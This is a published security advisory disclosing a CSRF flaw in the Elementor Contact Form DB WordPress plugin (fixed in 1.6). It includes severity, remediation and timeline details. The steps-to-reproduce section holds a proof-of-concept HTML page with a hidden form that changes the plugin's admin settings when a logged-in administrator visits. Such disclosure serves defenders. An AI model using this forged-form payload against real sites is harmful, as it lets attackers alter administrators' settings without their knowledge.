---
title: "CX-2020-4293"
date: "2021-01-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4293/"
---

# CX-2020-4293

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Jan 14, 2021

CVE-2021-3133  **Published:** Jan 14, 2021

8.8 High Severity CSRF wordpress

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of the “Elementor Contact Form DB” plugin for WordPress are vulnerable to a Cross-Site Request Forgery (CSRF) attack.

## Product

Elementor Contact Form DB WordPress plugin before 1.6

## Impact

An admins that visits a malicious site could change The Elementor-Contact-Form-DB setting without his/her knowledge.

## Steps to reproduce

1. WordPress with vulnerable Elementor Contact Form DB plugin installed
2. Admin visits the page:

    ```

    <html><head></head>
    <body>
    <form style="opacity: 0;" action="http://[site-url]/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd_settings" method="POST">
         <input type="number" name="sb_elem_cfd[disable_admin_nag]" value="1" />
         <input type="text" name="sb_elem_cfd[records_min_role]" value="lfb_role" />
         <input type="text" name="sb_elem_cfd_save" value="Save Settings" />
    <button>submit</button>
    </form>
    ```

```

### Expected result:
Admin setting page will change according to the attacker's input.
```

## Remediation

Update Elementor-Contact-Form-DB to 1.6 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [Changeset](https://plugins.trac.wordpress.org/changeset/2454670)

0  High Severity CVSS v3.1 Score

   8.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Nov 11, 2020 Notified the maintainer
2. Fixed Jan 14, 2021 Fix commit got released

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